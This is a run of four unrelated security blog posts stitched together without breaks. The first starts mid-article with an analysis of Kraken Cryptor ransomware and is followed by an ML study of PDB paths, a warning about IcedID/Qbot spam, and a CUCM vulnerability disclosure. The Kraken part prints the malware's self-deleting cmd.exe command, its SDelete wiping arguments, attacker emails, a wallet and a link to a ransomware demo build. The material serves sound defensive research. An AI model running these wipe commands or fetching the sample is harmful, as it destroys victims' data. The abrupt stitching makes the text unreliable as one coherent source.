Paid accounts are not uncommon on underground forums, but usually malware developers who offer services such as ransomware are highly trusted members and are vetted by other high-level forum members.
Members with paid accounts are generally distrusted by the community.
Kraken Cryptor’s developers asking to join the Fallout Exploit Kit.
Kraken Cryptor announcement.
The ransomware was announced, in Russian, with the following features: Encoded in C# (.NET 3.5) Small stub size ~85KB Fully autonomous Collects system information as an encrypted message for reference File size limit for encryption Encryption speed faster than ever Uses a hybrid combination of encryption algorithms (AES, RC4, Salsa20) for secure and fast encryption with a unique key for each file Enables the use of a network resource and adds an expansion bypass mode for encrypting all files on non-OS disks Is impossible to recover data using a recovery center or tools without payment Added antidebug, antiforensic methods Kraken works with an affiliate program, as do ransomware families such as GandCrab.
This business scheme is often referred to a Ransomware-as-a-Service (RaaS).
Affiliates are given a new build of Kraken every 15 days to keep the payload fully undetectable from antimalware products.
According to ThisWasKraken, when a victim asks for a free decryption test, the affiliate member should send one of the victim’s files with its associated unique key to the Kraken Cryptor ransomware support service.
The service will decrypt the file and resend it to the affiliate member to forward the victim.
After the victim pays the full ransom, the affiliate member sends a percentage of the received payment to the RaaS developers to get a decryptor key, which is forwarded to the victim.
This system ensures the affiliate pays a percentage to the affiliate program and does not simply pocket the full amount.
The cut for the developers offers them a relatively safe way of making a profit without exposing themselves to the risk of spreading ransomware.
We have observed that the profit percentage for the developers has decreased from 25% in Version 1 to 20% in Version 2.
The developers might have done this to attract more affiliates.
To enter the program, potential affiliates must complete a form and pay $50 to be accepted.
In the Kraken forum post it states that the ransomware cannot be used in the following countries: Armenia Azerbaijan Belarus Estonia Georgia Iran Kazakhstan Kyrgyzstan Latvia Lithuania Moldova
Russia Tajikistan Turkmenistan Ukraine Uzbekistan On October 21, Kraken’s authors released Version 2 of the affiliate program, reflecting the ransomware’s popularity and a fresh release.
At the same time, the authors published a map showing the distribution of their victims: Note that some of the countries on the developers’ exclusion list have infections.
Video promotions The first public release of Kraken Cryptor was Version 1.2; the latest is Version 2.07.
To promote the ransomware, the authors created a video showing its capabilities to potential customers.
We analyzed the metadata of the video and believe the authors created it along with the first version, released in August.
In the video, the authors show how fast Kraken can encrypt data on the system: Kraken ransomware in action.
Actor indications The Advanced Threat Research team and Recorded Future’s Insikt group analyzed all the forum messages posted by ThisWasKraken.
Based on the Russian language used in the posts, we believe ThisWasKraken is neither a native Russian nor English speaker.
To make forum posts in Russian, the actor likely uses an automated translation service, suggested by the awkward phrasing indicative of such a service.
In contrast, the actor is noticeably more proficient in English, though they make mistakes consistently in both sentence structure and spelling.
English spelling errors are also noticeable in the ransom note.
ThisWasKraken is likely part of a team that is not directly involved in the development of the ransomware.
The actor’s role is customer facing, through the Jabber account thiswaskraken@exploit[.
]im.
Communications with ThisWasKraken show that the actor refers all technical issues to the product support team at teamxsupport@protonmail[.
]com.
Payments Bitcoin is the only currency the affiliate program uses.
Insikt Group identified several wallets associated with the operation.
Kraken’s developers appear to have choose BitcoinPenguin, an online gambling site as the primary money laundering conduit.
It is very uncommon for criminal actors, and specifically ransomware operators, to bypass traditional cryptocurrency exchangers when laundering stolen funds.
One of the decisive factors for the unusual choice was likely BitcoinPenguin’s lack of requiring identity verification by its members, allowing anyone to maintain an anonymous cryptocurrency wallet.
Although in response to regulatory demands cryptocurrency exchangers continue to stiffen their registration rules, online crypto casinos do not have to follow the same know-your-customer guidelines, providing a convenient loophole for all kinds of money launderers.
Bitcoin transactions associated with Kraken analyzed with the Crystal blockchain tool.
The parent Bitcoin wallet is 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH.
Kraken Cryptor at work
The ransomware encrypts data on the disk very quickly and uses external tools, such as SDelete from the Sysinternals suite, to wipe files and make file recovery harder.
The Kraken Cryptor infection scheme.
The ransomware has implemented a user account control (UAC) bypass using the Windows Event Viewer.
This bypass technique is used by other malware families and is quite effective for executing malware.
The technique is well explained in an article by blogger enigma0x3.
We analyzed an early subset of Kraken ransomware samples and determined they were still in the testing phase, adding and removing options.
The ransomware has implemented a “protection” to delete itself during the infection phase: “C:\\Windows\\System32\\cmd.exe” /C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S
“C:\\Users\\Administrator\\AppData\\Local\\Temp\\krakentemp0000.exe”
This step is to prevent researchers and endpoint protections from catching the file on an infected machine.
Kraken encrypts user files with a random name and drops the ransom note demanding the victim to pay to recover them.
McAfee recommends not paying ransoms because doing so contributes to the development of more ransomware families.
Kraken’s ransom note.
Each file extension is different; this technique is often used by specific ransomware families to bypass endpoint protection systems.
Kraken delivered by the exploit kit bypasses the UAC using Event Viewer, drops a file on the system, and executes it through the UAC bypass method.
The binary delivered by the exploit kit.
The authors of the binary forgot during the compilation of the first versions to delete the PDB reference, revealing that the file has a relationship with Kraken Cryptor:
The early versions contained the following path: C:\\Users\\Krypton\\source\\repos\\UAC\\UAC\\obj\\\\Release\\UAC.pdb.
Later versions dropped the PDB path together with the Kraken loader.
Using SysInternals tools One unique feature of this ransomware family is the use of SDelete.
Kraken uses a .bat file to perform certain operations, making file recovery much more challenging: Kraken downloads SDelete from the Sysinternals website, adds the registry key accepting the EULA to avoid the pop-up, and executes it with the following arguments: sdelete.exe -c -z
C The SDelete batch file makes file recovery much harder by overwriting all free space on the drive with zeros, deleting the Volume Shadow Copies, disabling the recovery reboot option and finally rebooting the system after 300 seconds.
Netguid comparison The earlier versions of Kraken were delivered by a loader before it moved to a direct execution method.
The loader we examined contained a specific netguid.
With this, we found additional samples of the Kraken loader on VirusTotal: Not only the loader had a specific netguid but the compiled versions of Kraken also shared a netguid, making it possible to continue hunting samples: Comparing versions Kraken uses a configuration file in every version to set the variables for the ransomware.
This file is easily extracted for additional analysis.
Based on the config file we have discovered nine versions of Kraken: 1.2 1.3 1.5 1.5.2 1.5.3 1.6 2.0 2.0.4 2.0.7 By extracting the config files from all the versions, we built the following overview of features.
(The √ means the feature is present.)
All the versions we examined mostly contain the same options, changing only in some of them the antivirtual protection and antiforensic capabilities.
The latest version, Kraken 2.0.7, changed its configuration scheme.
We will cover that later in this article.
Other differences in Kraken’s config file include the list of countries excluded from encryption.
The standouts are Brazil and Syria, which were not named in the original forum advertisement.
Having an exclusion list is a common method of cybercriminals to avoid prosecution.
Brazil’s addition to the list in Version 1.5 suggests the involvement of a Brazilian affiliate.
The following table shows the exclusion list by country and version.
(The √ means the country appears on the list.)
All the Kraken releases have excluded the same countries, except for Brazil, Iran, and Syria.
Regarding Syria: We believe that the Kraken actors have had the same change of heart as the actors behind GandCrab, who recently released decryption keys for Syrian victims after a tweet claimed they had no money to pay the ransoms.
GandCrab’s change of heart regarding Syrian victims.
Version 2.0.7 The most recent version we examined comes with a different configuration scheme: This release has more options.
We expect this malware will be more configurable than other active versions.
APIs and statistics One of the new features is a public API to track the number of victims: Public API to track the number of victims.
Source: Bleeping Computer.
Another API is a hidden service to track certain statistics: The Onion URL can be found easily in the binary: The endpoint and browser Kraken uses is hardcoded in the config file: Kraken gathers the following information from every infection: Status Operating system Username Hardware ID IP address Country City Language HDCount
HDType HDName HDFull HDFree Privilege Operate Beta Kraken infrastructure In Versions 1.2 through 2.04 Kraken contacts blasze[.
]tk to download additional files.
The site has Cloudflare protection to mitigate against DDoS attacks: The domain is not accessible from many countries: McAfee coverage McAfee detects this threat with the following signatures:
Artemis!09D3BD874D9A Artemis!475A697872CA Artemis!71F510C40FE5
Artemis!99829D5483EF Artemis!CE7606CFDFC0 Artemis!F1EE32E471A4 RDN/Generic.dx RDN/Generic.tfr RDN/Ransom Indicators of compromise Kraken loader hashes 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd 53a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543 Kraken ransomware samples hashes 9e967a759e894a83c4b693e81c031d7214a8e699 1655eb1118cc900f86b8d6467988f15648e3bc97 dd832f01d83be81a1d3afe8344fe0d0f9c02ae76 3004b5ce8f496c6f6c539075142a7d8e98d43c5e 96f7a3256434589dd131ab6500b385febcddd5bd 09c2ec559f7760f59c9bfb39d171107ed0877f89 3024e7f0e04ba0115c292cfd5bc54c350bd9e66a 617426cb5656ad925734be4cb39fe265550e37e8
5ed4b6bd93f026000aa05b373c1580c7290714b8 d8d8fad628b871ddfcddb01730456d03e67188ee 3edaac2012d7582682df588f63bf78c222b7f348 1c6f0d5b7a7177f67a8b78ea0205819e0563120d 9e967a759e894a83c4b693e81c031d7214a8e699 e9e13458cff0f31263d802b1b31fc0630aef35fa e5f8d925ee95a1c95be1f1346acd935b70e85428 b1fa4d1c518c00668107193d3296c5b2f05ca12c 24683738ef9c5d7cff30c17ec6df6575a62859d7
d5db2499bbd849d715074e07a1fe56d60c868c6d 669605b2968e3eca80c9366f973dc589057227e5 299df78d09734d2c7337b1874bfd43e2050b14f7 d67c5d1d2af0d137ad9796fa5d9ed73a4e28b8be 225debde67b8293512c9d4825e2ec85b9868c7e2 e4bc2e4c2829684fcd4352539e3d8349a7b9fe7b ca7835865133121788bb07fb49cedad3e9601656
12431515b0bed686a64f27f536644c0d7b8415a8 6578c6b09deaead98513517dc0bcdce0a2bfe091 c86dfcef3b348d59391d8e4a724b6328a4cc97ea 345692e03227cc66634b6ad401dd11b7fcf243ed 45ba0e803159f7b014c22435d5cd9224f2064544 00f06b15494dd72057b7688b88914bef6a19fec9 c3c4d0061dce6ed695f666fb0dd0b8b8c62d8a9a 75eb19f0037b30abc5003458db883833149c39de d1bed69e8ee7d4eab573d02d5137454c8f675c46 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd 3a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543 047de76c965b9cf4a8671185d889438e4b6150326802e87470d20a3390aad304
0b6cd05bee398bac0000e9d7032713ae2de6b85fe1455d6847578e9c5462391f 159b392ec2c052a26d6718848338011a3733c870f4bf324863901ec9fbbbd635 180406f298e45f66e205bdfb2fa3d8f6ead046feb57714698bdc665548bebc95 1d7251ca0b60231a7dbdbb52c28709a6533dcfc4a339f4512955897c7bb1b009 2467d42a4bdf74147ea14d99ef51774fec993eaef3c11694125a3ced09e85256
2b2607c435b76bca395e4ef4e2a1cae13fe0f56cabfc54ee3327a402c4ee6d6f 2f5dec0a8e1da5f23b818d48efb0b9b7065023d67c617a78cd8b14808a79c0dc 469f89209d7d8cc0188654e3734fba13766b6d9723028b4d9a8523100642a28a 4f13652f5ec4455614f222d0c67a05bb01b814d134a42584c3f4aa77adbe03d0 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd 61396539d9392ae08b2c9836dd19a58efb541cf0381ea6fef28637aae63084ed
67db0f639d5f4c021efa9c2b1db3b3bc85b2db920859dbded5fed661cc81282d 713afc925973a421ff9328ff02c80d38575fbadaf27a1db0063b3a83813e8484 7260452e6bd05725074ba92b9dc8734aec12bbf4bbaacd43eea9c8bbe591be27 7747587608db6c10464777bd26e1abf02b858ef0643ad9db8134e0f727c0cd66 7e0ee0e707db426eaf25bd0924631db969bb03dd9b13addffbcc33311a3b9aa7 7fb597d2c8ed8726b9a982b2a84d1c9cc2af65345588d42dd50c8cebeee03dff 85c75ac7af9cac6e2d6253d7df7a0c0eec6bdd71120218caeaf684da65b786be 8a0320f3fee187040b1922c6e8bdf5d6bacf94e01b90d65e0c93f01e2abd1e0e 97ed99508e2fae0866ad0d5c86932b4df2486da59fc2568fb9a7a4ac0ecf414d 9c88c66f44eba049dcf45204315aaf8ba1e660822f9e97aec51b1c305f5fdf14 a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215 b639e26a0f0354515870ee167ae46fdd9698c2f0d405ad8838e2e024eb282e39
cae152c9d91c26c1b052c82642670dfb343ce00004fe0ca5d9ebb4560c64703b d316611df4b9b68d71a04ca517dbd94615a77a87f7a8c270d100ef9729a4e122 e39d5f664217bda0d95d126cff58ba707d623a58a750b53c580d447581f15af6 f7179fcff00c0ec909b615c34e5a5c145fedf8d9a09ed04376988699be9cc6d5
f95e74edc7ca3f09b582a7734ad7a547faeb0ccc9a3370ec58b9a27a1a6fd4a7 fea3023f06d0903a05096f1c9fc7113bea50b9923a3c024a14120337531180cd ff556442e2cc274a4a84ab968006350baf9897fffd680312c02825cc53b9f455 Imphash f34d5f2d4577ed6d9ceec516c1f5a744
Jabber thiswaskraken@exploit[.
]im Email addresses found in the binaries and configuration files BM-2cUEkUQXNffBg89VwtZi4twYiMomAFzy6o@bitmessage(.
)ch BM-2cWdhn4f5UyMvruDBGs5bK77NsCFALMJkR@bitmessage(.
)ch nikolatesla@cock(.
)li nikolateslaproton@protonmail(.
)com oemfnwdk838r@mailfence(.
)com
onionhelp@memeware(.
)net powerhacker03@hotmail(.
)com shfwhr2ddwejwkej@tutanota(.
)com
shortmangnet@420blaze(.
)it teamxsupport@protonmail[.
]com
Bitcoin address 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH PDBs found in the loader samples C:\\Users\\Krypton\\source\\repos\\UAC\\UAC\\obj\\\\Release\\UAC.pdb
Associated Filenames C:\\ProgramData\\Safe.exe C:\\ProgramData\\EventLog.txt # How to Decrypt Files.html Kraken.exe Krakenc.exe Release.bat <random>.bat Sdelete.exe Sdelete64.exe <random>.exe CabXXXX.exe TarXXXX.exe SUPERAntiSpywares.exe KrakenCryptor.exe 73a94429b321dfc_QiMAWc2K2W.exe auService.exe file.exe bbdefac4e59207._exe Build.exe Ransomware demo version https://www76.zippyshare.com/v/5fMpcbdo/file[.
]html Kraken Unique Key MITRE ATT&CK™ techniques Data compressed Email collection File and directory File deletion Hooking Kernel modules and extensions Modify registry Process injection Query registry Remote system Security software Service execution System information System time Yara rules
The McAfee Advanced Threat Research team created Yara rules to detect the Kraken ransomware.
The rules are available on our Github repository.
In Part One of this blog series , Steve Miller outlined what PDB paths are, how they appear in malware, how we use them to detect malicious files, and how we sometimes use them to make associations about groups and actors.
As Steve continued his research into PDB paths, we became interested in applying more general statistical analysis.
The PDB path as an artifact poses an intriguing use case for a couple of reasons.
­First, the PDB artifact is not directly tied to the functionality of the binary.
As a byproduct of the compilation process, it contains information about the development environment, and by proxy, the malware author themselves.
Rarely do we encounter static malware features with such an interesting tie to the human behind the keyboard, rather than the functionality of the file.
Second, file paths are an incredibly complex artifact with many different possible encodings.
We had personally been dying to find an excuse to spend more time figuring out how to parse and encode paths in a more useful way.
This presented an opportunity to dive into this space and test different approaches to representing file paths in various models.
The objectives of our project were: Build a large data set of PDB paths and apply some statistical methods to find potentially new signature terms and logic.
Investigate whether applying machine learning classification approaches to this problem could improve our detection above writing hand-crafted signatures.
Build a PDB classifier as a weak signal for binary analysis.
To start, we began gathering data.
Our dataset, pulled from internal and external sources, started with over 200,000 samples.
Once we deduplicated by PDB path, we had around 50,000 samples.
Next, we needed to consistently label these samples, so we considered various labeling schemes.
Labeling Binaries With PDB Paths For many of the binaries we had internal FireEye labels, and for others we looked up hashes on VirusTotal (VT) to have a look at their detection rates.
This covered the majority of our samples.
For a relatively small subset we had disagreements between our internal engine and VT results, which merited a slightly more nuanced policy.
The disagreement was most often that our internal assessment determined a file to be benign, but the VT results showed a nonzero percentage of vendors detecting the file as malicious.
In these cases we plotted the ‘VT ratio”: that is, the percentage of vendors labeling the files as malicious (Figure 1).
Figure 1:
Ratio of vendors calling file bad/total number of vendors The vast majority of these samples had VT detection ratios below 0.3, and in those cases we labeled the binaries as benign.
For the remainder of samples we tried two strategies – marking them all as malicious, or removing them from the training set entirely.
Our classification performance did not change much between these two policies, so in the end we scrapped the remainder of the samples to reduce label noise.
Building Features Next, we had to start building features.
This is where the fun began.
Looking at dozens and dozens of PDB paths, we simply started recording various things that ‘pop out’ to an analyst.
As noted earlier, a file path contains tons of implicit information, beyond simply being a string-based artifact.
Some analogies we have found useful is that a file path is more akin to a geographical location in its representation of a location on the file system, or like a sentence in that it reflects a series of dependent items.
To further illustrate this point, consider a simple file path such as: C:\\Users\\World\\Desktop\\duck\\Zbw138ht2aeja2.pdb ( source file )
This path tells us several things: This software was compiled on the system drive of the computer In a user profile, under user ‘World’ The project is managed on the Desktop, in a folder called ‘duck’
The filename has a high degree of entropy and is not very easy to remember In contrast, consider something such as: D:\\VSCORE5\\BUILD\\VSCore\\release\\EntVUtil.pdb ( source file )
This indicates: Compilation on an external or secondary drive Within a non-user directory Contains development terms such as ‘BUILD’ and ‘release’ With a sensible, semi-memorable file name These differences seem relatively straightforward and make intuitive sense as to why one might be representative of malware development whereas the other represents a more “legitimate-looking” development environment.
Feature Representations
How do we represent these differences to a model?
The easiest and most obvious option is to calculate some statistics on each path.
Features such as folder depth, path length, entropy, and counting things such as numbers, letters, and special characters in the PDB filename are easy to compute.
However, upon evaluation against our dataset, these features did not help to separate the classes very well.
The following are some graphics detailing the distributions of these features between our classes of malicious and benign samples: While there is potentially some separation between benign and malicious distributions, these features alone would likely not lead to an effective classifier (we tried).
Additionally, we couldn’t easily translate these differences into explicit detection rules.
There was more information in the paths that we needed to extract, so we began to look at how to encode the directory names themselves.
Normalization As with any dataset, we had to undertake some steps to normalize the paths.
For example, the occurrence of individual usernames, while perhaps interesting from an intelligence perspective, would be represented as distinct entities when in fact they have the same semantic meaning.
Thus, we had to detect and replace usernames with <username> to normalize this representation.
Other folder idiosyncrasies such as version numbers or randomly generated directories could similarly be normalized into <version> or <random>.
A typical normalized path might therefore go from this: C:\\Users\\jsmith\\Documents\\Visual Studio 2013\\Projects\\mkzyu91952\\mkzyu91952\\obj\\x86\\Debug\\mkzyu91952.pdb To this: c:\\users\\<username>\\documents\\visual studio 2013\\projects\\<random>\\<random>\\obj\\x86\\debug\\mkzyu91952.pdb You may notice that the PDB filename itself was not normalized.
In this case we wanted to derive features from the filename itself, so we left it.
Other approaches could be to normalize it, or even to make note that the same filename string ‘mkzyu91952’ appears earlier in the path.
There are endless possible features when dealing with file paths.
Directory Analysis
Once we had normalized directories, we could start to “tokenize” each directory term, to start performing some statistical analysis.
Our main goal of this analysis was to see if there were any directory terms that highly corresponded to maliciousness, or see if there were any simple combinations, such as pairs or triplets, that exhibited similar behavior.
We did not find any single directory name that easily separated the classes.
That would be too easy.
However, we did find some general correlations with directories such as “Desktop” being somewhat more likely to be malicious, and use of shared drives such as Z: to be more indicative of a benign file.
This makes intuitive sense given the more collaborative environment a “legitimate” software development process might require.
There are, of course, many exceptions and this is what makes the problem tricky.
Another strong signal we found, at least in our dataset, is that when the word “Desktop” was in a non-English language and particularly in a different alphabet, the likelihood of that PDB path being tied to a malicious file was very high (Figure 2).
While potentially useful, this can be indicative of geographical bias in our dataset, and further research would need to be done to see if this type of signature would generalize.
Figure 2: Unicode desktop folders from malicious samples Various Tokenizing Schemes
In recording the directories of a file path, there are several ways you can represent the path.
Let’s use this path to illustrate these different approaches: c:\\Leave\\smell\\Long\\ruleThis.pdb ( file ) Bag of Words One very simple way is the “ bag-of-words ” approach, which simply treats the path as the distinct set of directory names it contains.
Therefore, the aforementioned path would be represented as: [‘c:’,’leave’,’smell’,’long’,’rulethis’]
Positional Analysis Another approach we considered was recording the position of each directory name, as a distance from the drive.
This retained more information about depth, such that a ‘build’ directory on the desktop would be treated differently than a ‘build’ directory nine directories further down.
For this purpose, we excluded the drives since they would always have the same depth.
[’leave_1’,’smell_2’,’long_3’,’rulethis_4’
] N-Gram Analysis Finally, we explored breaking paths into n-grams; that is, as a distinct set of n- adjacent directories.
For example, a 2-gram representation of this path might look like: [‘c:\\leave’,’leave\\smell’,’smell\\long’,’long\\rulethis’]
We tested each of these approaches and while positional analysis and n-grams contained more information , in the end, bag-of-words seemed to generalize best.
Additionally, using the bag-of-words approach made it easier to extract simple signature logic from the resultant models, as will be shown in a later section.
Term Co-Occurrence Since we had the bag-of-words vectors created for each path, we were also able to evaluate term co-occurrence across benign and malicious files.
When we evaluated the co-occurrence of pairs of terms, we found some other interesting pairings that indeed paint two very different pictures of development environments (Figure 3).
Correlated with Malicious Files Correlated with Benign Files users, desktop src, retail documents, visual studio 2012 obj, x64 local, temporary projects src, x86 users, projects src, win32 users, documents retail, dynamic appdata, temporary projects src, amd64 users, x86 src, x64 Figure 3: Correlated pairs with malicious and benign files Keyword Lists Our bag-of-words representation of the PDB paths then gave us a distinct set of nearly 70,000 distinct terms.
The vast majority of these terms occurred once or twice in the entire dataset, resulting in what is known as a ‘long-tailed’ distribution.
Figure 4 is a graph of only the top 100 most common terms in descending order.
Figure 4:
Long tailed distribution of term occurrence As you can see, the counts drop off quickly, and you are left dealing with an enormous amount of terms that may only appear a handful of times.
One very simple way to solve this problem, without losing a ton of information, is to simply cut off a keyword list after a certain number of entries.
For example, take the top 50 occurring folder names (across both good and bad files), and save them as a keyword list.
Then match this list against every path in the dataset.
To create features, one-hot encode each match.
Rather than arbitrarily setting a cutoff, we wanted to know a bit more about the distribution and understand where might be a good place to set a limit – such that we would cover enough of the samples without drastically increasing the number of features for our model.
We therefore calculated the cumulative number of samples covered by each term, as we iterated down the list from most common to least common.
Figure 5 is a graph showing the result.
Figure 5: Cumulative share of samples covered by distinct terms As you can see, with only a small fraction of the terms, we can arrive at a significant percentage of the cumulative total PDB paths.
Setting a simple cutoff at about 70% of the dataset resulted in roughly 230 terms for our total vocabulary.
This gave us enough information about the dataset without blowing up our model with too many features (and therefore, dimensions).
One-hot encoding the presence of these terms was then the final step in featurizing the directory names present in the paths.
YARA Signatures Do Grow on Trees Armed with some statistical features, as well as one-hot encoded keyword matches, we began to train some models on our now-featurized dataset.
In doing so, we hoped to use the model training and evaluation process to give us insights into how to build better signatures.
If we developed an effective classification model, that would be an added benefit.
We felt that tree-based models made sense for this use case for two reasons.
First, tree-based models have worked well in the past in domains requiring a certain amount of interpretability and using a blend of quantitative and categorical features.
Second, the features we used are largely things we could represent in a YARA signature.
Therefore, if our models built boolean logic branches that separated large numbers of PDB files, we could potentially translate these into signatures.
This is not to say that other model families could not be used to build strong classifiers.
Many other options ranging from Logistic Regression to Deep Learning could be considered.
We fed our featurized training set into a Decision Tree , having set a couple ‘hyperparameters’ such as max depth and minimum samples per leaf, etc.
We were also able to use a sliding scale of these hyperparameters to dynamically create trees and, essentially, see what shook out.
Examining a trained decision tree such as the one in Figure 6 allowed us to immediately build new signatures.
Figure 6: Example decision tree and decision paths We found several other interesting tidbits within our decision trees.
Some terms that resulted in completely or almost-completely malicious subgroups are: Directory Term Example Hashes \\poe\\ a6b2aa2b489fb481c3cd9eab2f4f4f5c 92904dc99938352525492cd5133b9917 444be936b44cc6bd0cd5d0c88268fa77 \\xampp\\ 4d093061c172b32bf8bef03ac44515ae
4e6c2d60873f644ef5e06a17d85ec777 52d2a08223d0b5cc300f067219021c90 \\temporary projects\\ a785bd1eb2a8495a93a2f348c9a8ca67 c43c79812d49ca0f3b4da5aca3745090 e540076f48d7069bacb6d607f2d389d9 \\stub\\ 5ea538dfc64e28ad8c4063573a46800c
adf27ce5e67d770321daf90be6f4d895 c6e23da146a6fa2956c3dd7a9314fc97
We also found the term ‘WindowsApplication1’ to be quite useful.
89% of the files in our dataset containing this directory were malicious.
Cursory research indicates that this is the default directory generated when using Visual Studio to compile a Windows binary.
Once again, this makes some intuitive sense for finding malware authors.
Training and evaluating decision trees with various parameters turned out to be a hugely productive exercise in discovering potential new signature terms and logic.
Classification Accuracy and Findings Since we now had a large dataset of PDB paths and features, we wanted to see if we could train a traditional classifier to separate good files from bad.
Using a Random Forest with some tuning, we were able to achieve an average accuracy of 87% over 10 cross validations.
However, while our recall (the percentage of bad things we could identify with the model) was relatively high at 89%, our malware precision (the share of those things we called bad that were actually bad) was far too low, hovering at or below 50%.
This indicates that using this model alone for malware detection would result in an unacceptably large number of false positives, were we to deploy it in the wild as a singular detection platform.
However, used in conjunction with other tools, this could be a useful weak signal to assist with analysis.
Conclusion and Next Steps While our journey of statistical PDB analysis did not yield a magic malware classifier, it did yield a number of useful findings that we were hoping for: We developed several file path feature functions which are transferable to other models under development.
By diving into statistical analysis of the dataset, we were able to identify new keywords and logic branches to include in YARA signatures.
These signatures have since been deployed and discovered new malware samples.
We answered a number of our own general research questions about PDB paths, and were able to dispel some theories we had not fully tested with data.
While building an independent classifier was not the primary goal, improvements can surely be made to improve the end model accuracy.
Generating an even larger, more diverse dataset would likely make the biggest impact on our accuracy, recall, and precision.
Further hyperparameter tuning and feature engineering could also help.
There is a large amount of established research into text classification using various deep learning methods such as LSTMs , which could be applied effectively to a larger dataset.
PDB paths are only one small family of file paths that we encounter in the field of cyber security.
Whether in initial infection, staging, or another part of the attack lifecycle, the file paths found during forensic analysis can reveal incredibly useful information about adversary activity.
We look forward to further community research on how to properly extract and represent that information.
Subscribe to Blogs Get email updates as new blog posts are added.
For employees facing hundreds of e-mails, the temptation to speed-read and download attachments on autopilot can be great.
Cybercriminals, of course, take advantage, sending out seemingly important documents that might contain just about anything from phishing links to malware.
Our experts recently discovered two very similar spam campaigns distributing the IcedID and Qbot banking Trojans .
Spam with malicious documents Both e-mails were disguised as business correspondence.
In the first case, the attackers demanded compensation for some bogus reason or said something about canceling an operation.
Attached to the message was a zipped Excel file named CompensationClaim plus a series of numbers.
The second spam mailing had to do with payments and contracts and included a link to the hacked website where the archive containing the document was stored.
In both cases, the attackers’ aim was to persuade the recipient to open the malicious Excel file and run the macro in it, thus downloading either IcedID or (less commonly)
Qbot to the victim’s machine.
IcedID and Qbot The IcedID and Qbot banking Trojans have been around for years, with IcedID first coming to researchers’ attention back in 2017 and Qbot in service since 2008 .
Moreover, attackers are constantly honing their techniques.
For example, at one point they hid the main component of IcedID in a PNG image using a trick called steganography that is pretty hard to detect.
Today, both malware programs are available on the shadow market; in addition to their creators, numerous clients distribute the Trojans.
The malware’s main task is to steal bank card details and login credentials for bank accounts, preferably business accounts (hence the businesslike e-mails).
To achieve their objectives, the Trojans employ various methods.
For example, they may: Inject a malicious script into a Web page to intercept user-entered data; Redirect online banking users to a fake login page; Steal data saved in the browser.
Qbot can also log keystrokes to intercept passwords.
Unfortunately, theft of payment data is not the only trouble that awaits victims.
For example, IcedID can download other malware, including ransomware, to infected devices.
Meanwhile, Qbot’s tricks include stealing e-mail threads for use in further spam campaigns, and providing its operators with remote access to victims’ computers.
On work machines in particular, the consequences can be serious.
How to stay safe from banking Trojans No matter how crafty cybercriminals can be, you don’t need to reinvent the wheel to stay safe.
Both of the spam campaigns in question rely on recipients taking risky actions — if they don’t open the malicious file and let it execute the macro, the scheme simply will not work.
To reduce your chances of becoming a victim: Check the sender’s identity, including the domain name.
Someone claiming to be a contractor or a corporate client but using a Gmail address, for example, may be suspicious.
And if you simply don’t know who the sender is, check with colleagues; Prohibit macros by default, and treat documents that require you to enable macros or other content with suspicion.
Never run a macro unless you’re absolutely sure the file needs it — and is safe; Install a reliable security solution .
If you work on a personal device, or your employer is lax when it comes to workstation protection, make sure it’s protected.
Our products detect both IcedID and Qbot.
Working as security consultants is highly rewarding.
Companies depend on us to view their environment from the perspective of an attacker and find vulnerabilities that could enable threats to succeed.
One of the most impactful parts of our role is when we’re the first to find a major vulnerability that could lead to a widespread compromise beyond just our client.
That’s what happened this year with the Cisco Unified Communications Manager (CUCM) IM & Presence appliance.
We performed an application penetration test against it for one of our clients.
While doing so, we discovered an opening that could effect anyone who uses this appliance.
Read on to find out how we explored the product, how we broke it and how to put it back together.
What Is the CUCM Product?
The CUCM solution is a middleware component that allows enterprises to integrate their various communication devices and manage them using one platform.
In short, it unifies voice, video, data and mobile applications on fixed and mobile networks.
Starting with the Cisco Unified Communications 9.0, the Cisco Unified Presence technology is integrated within the CUCM.
Nowadays, most people refer to this solution as the CUCM IM & Presence Service.
Almost every customer that uses the Cisco Jabber instant messaging application has the CUCM IM & Presence deployment.
The Findings During the pen test, we first tried to use the least possible privilege to pinpoint the vulnerabilities that the least trusted users can reach.
Then, we created a replica of the appliance in a lab environment.
Using several reverse engineering techniques, we extracted the source code of the web application used to manage the appliance.
Through both dynamic testing and analysis of the source code, we found the following vulnerabilities: 3 x Structured Query Language (SQL) injection (CVE-2021-1355, CVE-2021-1364, CVE-2021-1282) SQL injection leads to arbitrary code execution (CVE-2021-1363, CVE-2021-1365)
Path traversal (CVE-2021-1357)
Cross-site scripting (CVE-2021-1407, CVE-2021-1408)
The main objective was to find vulnerabilities that attackers could exploit to elevate their privilege on the appliance.
At first, our team managed to identify several SQL injection vulnerabilities , but the application had a protection module that filtered the user input.
By inspecting this module, we found a weakness in the module logic that we used to bypass it.
This allowed one to exploit three SQL injection vulnerabilities.
An attacker could use this to extract sensitive information from the application database, including the administrator password hash.
Other Vulnerabilities One of the SQL injections was chained with another vulnerability — an operating system command injection vulnerability — to achieve arbitrary code execution on the appliance.
The chained attack could enable an attacker with low privileges on the appliance to escalate their privilege to root shell access.
At that point, the attacker could have full control of the appliance, and the access could be used to move laterally inside the internal network and attack internal assets and other users.
We also discovered a local file read vulnerability in one of the application’s endpoints.
This could allow an attacker to read any locally accessible file on the web server through the vulnerable endpoint.
Finally, we discovered a way to bypass and evade application security controls to exploit multiple reflected cross-site scripting issues on multiple endpoints.
An attacker could exploit this vulnerability by constructing a request with an injected malicious payload in the vulnerable parameters and deceive the logged-in users to visit it.
The malicious payload injected by the attacker is executed within the victim’s browser, in the context of that victim’s session.
The malicious application allows the attacker to hijack the user session and redirect the victim to an attacker-controlled domain or another client-side attack.
That might be in-browser keylogging or performing arbitrary actions within the context of the application.
We also discovered sensitive information disclosure in one of the application endpoints.
This could allow an authenticated attacker to disclose users’ hashed passwords, which could then be recovered using a dictionary attack.
Moving Laterally Through the Enterprise As a result of these vulnerabilities, a low-privileged user could elevate their privileges to the highest level on the CUCM appliance.
From there, they could access sensitive data, manipulate sensitive configurations and install malicious software on the appliance that monitors and records the communication between Cisco Jabber users.
